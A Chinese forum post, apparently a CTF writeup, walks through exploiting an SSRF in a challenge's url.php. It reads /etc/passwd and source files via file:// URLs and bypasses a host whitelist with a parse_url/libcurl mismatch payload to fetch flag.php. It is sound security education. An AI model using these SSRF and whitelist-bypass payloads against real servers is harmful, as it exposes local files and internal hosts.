首页
社区
课程
招聘
[原创]第四题writeup
发表于: 2022-5-17 09:24 3639

[原创]第四题writeup

2022-5-17 09:24
3639

上来扫路径,扫出以下可以访问文件

 

http://121.36.145.157:8044/phpinfo.php
http://121.36.145.157:8044/index.php
http://121.36.145.157:8044/url.php
(还有一些boku.php兔子洞,后来被删掉了)

 

其中,F12这个index.php页面,看到图片实际是调用的ctf.pediy.com的资源。

 

< img src="url.php?url=https://ctf.pediy.com/upload/team/762/team236762.png">

 

对url.php?url=? 进行SSRF尝试,试了

 

url.php?url=http://baidu.com --> host not allow
url.php?url=127.0.0.1:8044 --> scheme is null
url.php?url=http://127.0.0.1:8044 --> 无返回
url.php?url=http://127.0.0.1:80 --> 返回index.php

 

根据以上返回,发现似乎1.存在白名单,2.必须使用scheme://host形式的url 3.且本地开放端口是80,做了一次端口转换。

 

于是尝试使用其它类型的scheme,

 

url.php?url=file://127.0.0.1/etc/passwd --> 直接返回passwd,不用绕过。

 

结合phpinfo.php里的信息,web路径应该是常规的/var/www/html

 

读url.php内容:
url.php?url=file://127.0.0.1/var/www/html/url.php

 

果然是通过parese_url()去提取出host以及scheme,然后使用curl_exec()进行访问,并且验证了是否为空,并且host必须是在白名单里的才行。
注释里面贴心的放了flag.php的位置,在另一个ip。

 

//echo curl_request("http://123.57.254.42/flag.php","get",[],true,5);

 

直接访问,报错error ip。

 

似乎这题大概思路就是用http://121.36.145.157:8044/url.php?url=这里的ssrf去访问123.57.254.42/flag.php,目标很清晰,但是实际操作起来还是有点难度。

 

首先我们知道parse_url是读取最后一个@后面的域名,于是我们构造了http://123.57.254.42@127.0.0.1/flag.php的url,能绕过白名单的检测,但是curl_exec()无法访问到http://123.57.254.42/flag.php。我们试了包括换scheme、截断等方法,尝试各种姿势,都不行,于是陷入了僵局。

 

后来,看到了一篇文章,https://hackerone.com/reports/1049624,提到了一种方法绕过较新版本的libcurl,就是把待访问的域名放scheme里面,绕过白名单限制的域名放后面,尝试:

 

123.57.254.42://127.0.0.1 --> 报了404,并且apache版本变了,说明访问到了123.57.254.42。
123.57.254.42://127.0.0.1/../flag.php --> 成功


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 1
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//